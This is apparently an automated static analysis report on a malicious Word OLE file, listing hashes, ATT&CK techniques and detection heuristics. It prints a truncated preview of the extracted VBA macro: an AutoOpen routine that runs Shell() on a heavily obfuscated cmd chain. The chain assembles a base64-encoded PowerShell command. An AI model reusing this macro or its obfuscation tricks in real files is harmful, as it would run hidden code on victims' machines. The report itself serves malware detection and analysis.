Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cf87f82f74aec73…

MALICIOUS

Office (OLE)

83.5 KB First seen: 2019-03-10
MD5: af0039a598d51a0fb733fd13a9c6bd72 SHA-1: b67cea41442e57d106c36dae162768bf784ca6e0 SHA-256: 3cf87f82f74aec7374ca9848f79bb3bfcca58d1de1c2f83521ec170aa9a15f39
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains VBA macros with an AutoOpen function that calls the Shell() function. This indicates an attempt to execute arbitrary commands, likely to download and run a secondary payload. The specific command executed by Shell() is obfuscated but the presence of the function itself is a critical indicator of malicious intent.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11214 bytes
SHA-256: 651f622a4d7eba5d4017d4b674a0229d0d28a1efc4699eecc00c25b8ac8c3210
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CswGkYsKwrLu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function lpRBt()
On Error Resume Next
StDRTI = Hex(imucun + Hex(ZjMbZJ) * 6048 + Round(OrtJLa))
KiKXuv = Cos(MMQMDz)
fXujY = CDate(NiwvJ)
SiMYJw = Cos(zbQRW)
jiTAKN = Hex(DkjUw + Hex(nTQbhO) * 27631 + Round(cMAoH))
CAnPF = Cos(noYui)
hDjivs = CDate(fJhiz)
DHkGVS = Cos(DwCCz)
lpRBt = jHcXvUYJT + Shell(LkGvlPjKRD + Chr(FrbcFvJcT + vbKeyC + BzSPs) + kRFcWjREja + USLATvI + RFfJWLEYVXU + hwPlNiwOCl + idtorAIKbu + lNMkvt, 36552 - 36552)
Oaqwu = Hex(tvhKZ + Hex(QIObGV) * 34322 + Round(hCQCiD))
VijBjk = Cos(dzpKmM)
nVzKL = CDate(Kwcrh)
JmMJnP = Cos(uXMzJt)
End Function
Sub Autoopen()
On Error Resume Next
ofOlw = Hex(FitjTr + Hex(wRXGr) * 38461 + Round(bqQqCu))
RiaYoR = Cos(Pijqv)
fbsfqv = CDate(sdAGFp)
iwOYjB = Cos(nASIfa)
lpRBt
imnQv = Hex(QAzlA + Hex(CCohU) * 35153 + Round(UTRQLG))
KsaZXL = Cos(VJqMq)
ThhBd = CDate(dzlwS)
pjFDRV = Cos(JBLYZX)
End Sub


Attribute VB_Name = "oljswViIf"
Function kRFcWjREja()
On Error Resume Next
BEEGwI = Hex(XBUkw + Hex(InJFS) * 56861 + Round(taicL))
TuJqnj = Cos(LIrji)
aDiim = CDate(ozZwP)
lBlra = Cos(cuAoIN)
RiVhCYoJ = "md LmRYs" + "pB oqnpH" + "wQNicAhGYOPqCS" + "Dlq ztvmkR" + "qbndNj &   " + "  %^c^o"
jEtzz = Hex(caNDNO + Hex(rGWwtw) * 88019 + Round(BfRTi))
EjEmu = Cos(TFRvA)
AnwXwX = CDate(iiVXDu)
TuiZb = Cos(RiXrJR)
QiFaPqPYD = "^m^S^p^E^c^% " + "  " + "  " + "%^c^o^m^S^p^E^" + "c^%     " + "/V " + "      " + "  /c     " + "      set %GMZ"
zdmob = Hex(TzGSdj + Hex(rDiiLA) * 84224 + Round(zYasUU))
VPHOj = Cos(iBwjw)
aNNcA = CDate(hoNwpf)
ZjAEL = Cos(HbLcrK)
LPhRwz = "wfkkVT" + "iXENDJ%" + "=m" + "jZD" + "ABp&&s" + "et %YYwKfvi"
ApMCm = Hex(PsRWj + Hex(ZzmjuZ) * 50408 + Round(EHViwk))
pfPkWR = Cos(ssbLKn)
QIMQI = CDate(wUvQCQ)
KsTiFB = Cos(aNBlN)
RBziOVF = "tGhzo%=p&&set" + " %" + "nNpAolWfwkjR" + "%=o^w&&se" + "t %NCidR"
oHuEjP = Hex(MozIOo + Hex(oUjwhF) * 68263 + Round(zYtFIV))
DGbCiz = Cos(arhndW)
tKURC = CDate(FdCDIu)
HVLdG = Cos(WkshL)
cFwFCMdT = "lZoE" + "spHC" + "RD%=SA" + "USUWqZjHoo&&s" + "et %zr" + "crbJbiADFkv" + "F%=!%YYwKfvi" + "tGhzo%!&&set" + " %D" + "DKiFWLwBHSkuqS"
CzusR = Hex(bNDGOZ + Hex(GsjZDX) * 88220 + Round(jjEjDh))
zlAdI = Cos(zdLll)
hhJBH = CDate(pzYnLp)
RZSSq = Cos(OMOOS)
VEuYKSVHqJb = "%=XvGk" + "jzHC&&s" + "et %SwVIAwzjbsT" + "cj%=e^r&&set" + " %wnClNrJ" + "kXsUl" + "Z%=!%nNpAolWfwk" + "jR%!&&se"
kQjGP = Hex(nSNMC + Hex(fwuOh) * 77762 + Round(aKSqh))
KVZWwS = Cos(rvWVI)
IPXXwF = CDate(tntRz)
aCrvSa = Cos(ZFCOvQ)
dFsAUKaCsuF = "t %ZTljkDuVFt" + "QY%=s&&" + "set %fiVrLE" + "wJwl" + "kAiGC%=" + "GHlKikYiDiB&&se" + "t %WCboOsocl" + "Xwhz%=he&&" + "se"
jhjaYG = Hex(fvCnVl + Hex(nWcHX) * 33506 + Round(QzAEvI))
DNJbj = Cos(nLETt)
quGpHw = CDate(pmiaGY)
AShjVd = Cos(VcitMp)
EUjdhXwwE = "t %DLUWXE" + "DwMLAzO" + "%=ll&&!%zrc" + "rbJbiAD" + "FkvF" + "%!"
WbSJO = Hex(awKKtI + Hex(ThUmC) * 6763 + Round(KUdVzP))
VRXvuG = Cos(SKQRs)
YCIXpN = CDate(doIwr)
JOBwz = Cos(zjFjm)
jqLRA = "!%wn" + "ClNrJ" + "kXsUlZ%!!%" + "SwVIAwzjbsTc" + "j%!!"
wBqBX = Hex(VJJII + Hex(GfkrR) * 63365 + Round(bDmzA))
MTFtK = Cos(VWHrL)
cREaiw = CDate(FprRb)
RYXKL = Cos(EqjKk)
YGkSP = "%ZTljkDuV" + "FtQY%!!%WCbo" + "OsoclXw" + "hz%!!%DLUW" + "XEDwMLAz" + "O%!  -e KAAgAG4"
kRFcWjREja = RiVhCYoJ + QiFaPqPYD + LPhRwz + RBziOVF + cFwFCMdT + VEuYKSVHqJb + dFsAUKaCsuF + EUjdhXwwE + jqLRA + YGkSP
End Function
Function USLATvI()
On Error Resume Next
Qzonp = Hex(oYKpPE + Hex(Vnwub) * 39784 + Round(dltuz))
vfGqs = Cos(UJRzM)
AsdCz = CDate(ISJqZI)
HqimiG = Cos(pdDJST)
zGoCjBiw = "AR" + "QBXAC0ATwBiAEoA" + "RQ" + "BjAHQAI"
JkrDnj = Hex(bcYaoQ + Hex(fCFFzv) * 70987 + Round(mWntS))
WpUkdj = Cos(iSmlYS)
NJMqpH = CDate(bzDUX)
tzUQu = Cos(zEnDp)
ratnfCGwj = "AAgAFMAWQBzAH" + "QARQBtA" + "C4ASQBPAC4AUw" + "BUAFIARQBh" + "AE0AUgBFAGEAZA" + "BFAF"
kmw
... (truncated)

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